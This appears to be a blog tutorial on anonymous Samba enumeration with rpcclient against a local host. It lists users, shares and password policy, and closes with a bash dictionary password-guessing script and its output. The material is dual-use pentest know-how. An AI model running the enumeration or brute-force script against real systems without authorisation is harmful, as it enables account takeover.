Connecting to the remote service
We can connect to the remote samba service anonymously using the -N option which specifies no password. once you connect to the remote service it should drop you to a prompt much like the smb utility. One rpcclient allows you to do is run commands on a single command line instead of working in the console. This is the way we will enumerate the remote service
root@asus:~% rpcclient -U "" -N 127.0.0.1 rpcclient $>
Query Server Information
root@asus:~% rpcclient -U "" -N -c "srvinfo" 127.0.0.1 ASUS Wk Sv PrQ Unx NT SNT asus server (Samba, Ubuntu) platform_id : 500 os version : 6.1 server type : 0x809a03 root@asus:~%
Enumerate all shares
root@asus:~% rpcclient -U "" -N -c "netshareenumall" 127.0.0.1 netname: homes remark: Home Directories path: C: password: netname: print$ remark: Printer Drivers path: C:\var\lib\samba\printers password: netname: share remark: path: C:\home\sam\public_html\pub password: netname: IPC$ remark: IPC Service (asus server (Samba, Ubuntu)) path: C:\tmp password: root@asus:~%
Get Share Information
root@asus:~% rpcclient -U "" -N -c "netsharegetinfo share 2" 127.0.0.1 netname: share remark: path: C:\home\sam\public_html\pub password: root@asus:~%
Display Account Information
root@asus:~% rpcclient -U "" -N -c "querydispinfo" 127.0.0.1 index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: sam Name: sam Desc: index: 0x2 RID: 0x3ea acb: 0x00000010 Account: hayden Name: hayden sutton Desc: index: 0x3 RID: 0x3ec acb: 0x00000010 Account: sasha Name: sasha kim Desc: index: 0x4 RID: 0x3e9 acb: 0x00000010 Account: clare Name: clare chapman Desc: index: 0x5 RID: 0x3eb acb: 0x00000010 Account: jared Name: jared beck Desc: index: 0x6 RID: 0x3ed acb: 0x00000010 Account: vance Name: vance perkins Desc: root@asus:~%
Enumerate Domain Users
root@asus:~% rpcclient -U "" -N -c "enumdomusers" 127.0.0.1 user:[sam] rid:[0x3e8] user:[hayden] rid:[0x3ea] user:[sasha] rid:[0x3ec] user:[clare] rid:[0x3e9] user:[jared] rid:[0x3eb] user:[vance] rid:[0x3ed] root@asus:~%
Get User Information
root@asus:~% rpcclient -U "" -N -c "queryuser 0x3ea" 127.0.0.1 User Name : hayden Full Name : hayden sutton Home Drive : \\asus\hayden Dir Drive : Profile Path: \\asus\hayden\profile Logon Script: Description : Workstations: Comment : Remote Dial : Logon Time : Wed, 31 Dec 1969 17:00:00 MST Logoff Time : Wed, 06 Feb 2036 08:06:39 MST Kickoff Time : Wed, 06 Feb 2036 08:06:39 MST Password last set Time : Mon, 02 Sep 2019 12:29:46 MDT Password can change Time : Mon, 02 Sep 2019 12:29:46 MDT Password must change Time: Wed, 13 Sep 30828 20:48:05 MDT unknown_2[0..31]... user_rid : 0x3ea group_rid: 0x201 acb_info : 0x00000010 fields_present: 0x00ffffff logon_divs: 168 bad_password_count: 0x00000000 logon_count: 0x00000000 padding1[0..7]... logon_hrs[0..21]... root@asus:~%
Get Domain Information
root@asus:~% rpcclient -U "" -N -c "querydominfo" 127.0.0.1 Domain: WORKGROUP Server: ASUS Comment: asus server (Samba, Ubuntu) Total Users: 6 Total Groups: 0 Total Aliases: 0 Sequence No: 1570400386 Force Logoff: -1 Domain Server State: 0x1 Server Role: ROLE_DOMAIN_PDC Unknown 3: 0x1 root@asus:~%
Enumerate Domains
root@asus:~% rpcclient -U "" -N -c "enumdomains" 127.0.0.1 name:[ASUS] idx:[0x0] name:[Builtin] idx:[0x1] root@asus:~%
Get Password Policy Information
root@asus:~% rpcclient -U "" -N -c "getusrdompwinfo 0x3eb" 127.0.0.1 min_password_length: 5 &info.password_properties: 0xe3266264 (3810943588) 0: DOMAIN_PASSWORD_COMPLEX 0: DOMAIN_PASSWORD_NO_ANON_CHANGE 1: DOMAIN_PASSWORD_NO_CLEAR_CHANGE 0: DOMAIN_PASSWORD_LOCKOUT_ADMINS 0: DOMAIN_PASSWORD_STORE_CLEARTEXT 1: DOMAIN_REFUSE_PASSWORD_CHANGE root@asus:~%
These are just some of the command available to you when using the rpcclient. It would be advised to enter in to the rpcclient console and type 'help' for a list of full commands you have at your disposal.
Brute Force with rpcclient
Here is a way to brute force samba passwords using the rpcclient utility and bash.
#!/usr/bin/env bash ## ## Dictonary password attack against a valid samba username using rpcclient ## user="sasha" host="127.0.0.1" list="users.txt" file=$(<${list}) wordlist=(`echo $file | sed 's/ /\n/g'`) echo "[*] Searching for the password for [${user}]..." for word in "${wordlist[@]}" do rpcclient -U "${user}%${word}" -c "quit" ${host} 1>/dev/null if [ $? == 0 ] then echo "[+] Password \`${word}\` found for [${user}]" fi done
If we run the script...
root@asus:~% ./rpcclient.sh [*] Searching for the password for [sasha]... [+] Password `master` found for [sasha] root@asus:~%
No comments:
Post a Comment